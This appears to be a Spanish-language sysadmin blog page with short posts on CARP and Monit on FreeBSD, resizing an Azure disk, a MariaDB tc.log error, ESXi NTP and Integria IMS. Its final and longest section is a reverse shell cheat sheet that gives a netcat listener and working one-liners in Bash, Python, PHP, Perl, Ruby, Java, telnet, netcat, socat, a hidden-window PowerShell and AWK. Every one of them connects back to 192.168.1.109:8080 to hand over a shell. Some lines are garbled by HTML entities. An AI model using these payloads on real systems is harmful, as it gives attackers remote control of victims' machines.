Nginx high availability en FreeBSD con CARP y Monit

¿Que es CARP?

Common Address Redundancy Protocol (CARP) permite que varios servidores compartan la misma dirección IP y la misma identificación de host virtual (VHID) para proporcionar alta disponibilidad para uno o más servicios. Esto significa que uno o más servidores pueden fallar, y los otros servidores tomarán el control de forma transparente.

¿Que es Monit?

Monit es una utilidad para administrar y monitorear procesos, programas, archivos, directorios y sistemas de archivos en un sistema Unix. Monit lleva a cabo el mantenimiento y la reparación automáticos y puede ejecutar  en situaciones de error.

P.ej. Monit puede iniciar un proceso si no se ejecuta, reiniciar un proceso si no responde y detener un proceso si usa demasiados recursos. Puede usar Monit para monitorear archivos, directorios y sistemas de archivos en busca de cambios, tales como cambios en la fecha y hora, cambios en la suma de verificación o cambios de tamaño.

Leer más

Expandir disco GNU/Linux en Azure

Normalmente, el tamaño predeterminado del disco duro virtual del sistema operativo (SO) es de 30 GB en una máquina virtual Linux de Azure. Tiene la opción de agregar discos de datos para proporcionar espacio de almacenamiento adicional, pero puede que también desee expandir un disco de datos existente. En este articulo vamos a ver como expandir un disco ya existente el cual corresponde al file system raiz.

Leer más

MySQL [ERROR] Can’t init tc log

Al intentar iniciar el servicio de mariadb comprobamos que no inicia

/etc/init.d/mysql status
mariadb.service – MariaDB database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Thu 2018-08-09 12:43:52 CEST; 1min 3s ago
Process: 1241 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUSTER $_WSREP_START_POSITION (code=exited, status=1/FAILURE)
Process: 1151 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ] && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exited, status=0/SUCCESS)
Process: 1148 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 1145 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=0/SUCCESS)
Main PID: 1241 (code=exited, status=1/FAILURE)
Status: «MariaDB server is down»

Revisando el log comprobamos el siguiente error:

tail -3 /var/log/mysql/error.log
2018-08-09 12:45:00 139927639765568 [ERROR] Can’t init tc log
2018-08-09 12:45:00 139927639765568 [ERROR] Aborting

 

Eliminamos el log TC y iniciamos el servicio  de nuevo

rm /var/lib/mysql/tc.log

/etc/init.d/mysql start

 

:wq!

ESXi el servicio NTP no responde

En algunas ocasiones aun que tengamos configurado el servicio NTP vemos que no funciona correctamente y no sincroniza la hora, esto podría deberse a que el servidor  ESXI esta utilizando NTP versión 2 y no recibe informacion contestación

Accedemos al servidor NTP y forzamos en el NTP para que vuelva a sincronizar.
Como podemos ver envia la petición pero no recibe respuesta.

tcpdump udp port 123
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:12:05.057082 IP esxi.redorbita.com > ntp.redobita.com.ntp: NTPv2, Client, length 48

 

Accedemos mediante SSH al servidor ESXI y configuramos la versión del NTP en /etc/ntp.conf

Cambiamos:

Server ntp.redorbita.com

Por:

Server ntp.redorbita.com version 3

 

 

 

:wq!

Instalación de Integria IMS en CentOS

¿Qué es Integria IMS?

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

Podemos realizar de dos formas la instalación, mediante la ISO que podemos encontrar en su repositorio https://sourceforge.net/projects/integria/files/ la  cual se realiza como cualquier instalación de GNU/Linux y la instalación desde cero la cual vamos a ver acontinuación.

 

Leer más

Reverse Shell Cheat Sheet

Listener:

nc -l -v -p 8080

Bash

exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

 

exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0

 

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

bash -i >& /dev/tcp/192.168.1.109/8080 0>&1

 

bash -i &gt;&amp; /dev/tcp/192.168.1.109//8080 0&gt;&amp;1

 

TCLsh

echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’

PHP

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3»);’

 

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’

 

php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’

 

Perl

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»&gt;&amp;S»);open(STDOUT,»&gt;&amp;S»);open(STDERR,»&gt;&amp;S»);exec(«/bin/sh -i»);};’

 

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Ruby

 

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d»,f,f,f)’

 

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()

 

Telnel:

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p

 

rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x

 

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f

 

telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109

 

Netcat

 

nc -e /bin/sh 192.168.1.109 8080

 

/bin/sh | nc 192.168.1.109 8080

 

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p

 

Socat

socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane

 

Powershell

powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

 

AWK

 

awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null